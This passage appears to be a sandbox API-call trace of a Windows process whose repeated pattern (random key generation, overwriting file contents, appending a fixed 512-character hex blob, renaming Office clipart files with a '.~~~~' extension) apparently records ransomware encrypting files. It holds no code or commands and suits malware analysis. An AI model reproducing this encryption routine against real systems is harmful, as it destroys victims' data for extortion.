	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e030
	[0090.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.025] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.025] GetLastError () returned 0x0
	[0090.025] GetLastError () returned 0x0
	[0090.025] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.026] GetLastError () returned 0x0
	[0090.026] GetLastError () returned 0x0
	[0090.031] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe4ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.031] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1b54, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b54, lpOverlapped=0x0) returned 1
	[0090.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.033] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.033] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.034] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.034] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.034] CloseHandle (hObject=0x12c) returned 1
	[0090.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.~~~~")) returned 1
	[0090.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.036] GetLastError () returned 0x0
	[0090.036] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.037] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.037] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.037] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21002712552) returned 1
	[0090.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f729270, dwHighDateTime=0x1d60e1e)) 
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2020
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2020 | out: hHeap=0x300000) returned 1
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0090.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.038] GetLastError () returned 0x0
	[0090.038] GetLastError () returned 0x0
	[0090.038] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.038] GetLastError () returned 0x0
	[0090.038] GetLastError () returned 0x0
	[0090.047] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff9460, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.048] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6ba0, lpOverlapped=0x0) returned 1
	[0090.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.048] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.048] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.048] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.048] CloseHandle (hObject=0x12c) returned 1
	[0090.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acc50
	[0090.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.~~~~")) returned 1
	[0090.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0090.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.049] GetLastError () returned 0x0
	[0090.058] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.059] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.059] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.059] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21004911107) returned 1
	[0090.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f74f3d0, dwHighDateTime=0x1d60e1e)) 
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe80
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe80 | out: hHeap=0x300000) returned 1
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acc50
	[0090.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eae0
	[0090.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0090.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.060] GetLastError () returned 0x0
	[0090.060] GetLastError () returned 0x0
	[0090.060] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.060] GetLastError () returned 0x0
	[0090.060] GetLastError () returned 0x0
	[0090.101] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffeec8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.102] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1138, lpOverlapped=0x0) returned 1
	[0090.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.102] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.102] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.102] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.103] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.103] CloseHandle (hObject=0x12c) returned 1
	[0090.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.~~~~")) returned 1
	[0090.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.173] GetLastError () returned 0x0
	[0090.173] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.174] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.174] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.174] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21016424060) returned 1
	[0090.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f859d70, dwHighDateTime=0x1d60e1e)) 
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380008
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380008 | out: hHeap=0x300000) returned 1
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ee70
	[0090.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.175] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.175] GetLastError () returned 0x0
	[0090.175] GetLastError () returned 0x0
	[0090.175] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.175] GetLastError () returned 0x0
	[0090.175] GetLastError () returned 0x0
	[0090.183] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe0da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.184] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1f26, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f26, lpOverlapped=0x0) returned 1
	[0090.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.184] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.184] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.184] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.184] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.184] CloseHandle (hObject=0x12c) returned 1
	[0090.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.~~~~")) returned 1
	[0090.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.185] GetLastError () returned 0x0
	[0090.185] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.186] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.186] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.186] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21017640583) returned 1
	[0090.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f87fed0, dwHighDateTime=0x1d60e1e)) 
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380078
	[0090.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380078 | out: hHeap=0x300000) returned 1
	[0090.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f298
	[0090.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.187] GetLastError () returned 0x0
	[0090.187] GetLastError () returned 0x0
	[0090.187] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.187] GetLastError () returned 0x0
	[0090.187] GetLastError () returned 0x0
	[0090.210] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffbec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.210] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x414, lpOverlapped=0x0) returned 1
	[0090.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.217] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.217] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.224] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.224] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.224] CloseHandle (hObject=0x12c) returned 1
	[0090.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.~~~~")) returned 1
	[0090.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.231] GetLastError () returned 0x0
	[0090.231] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.232] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.232] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.233] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21022268852) returned 1
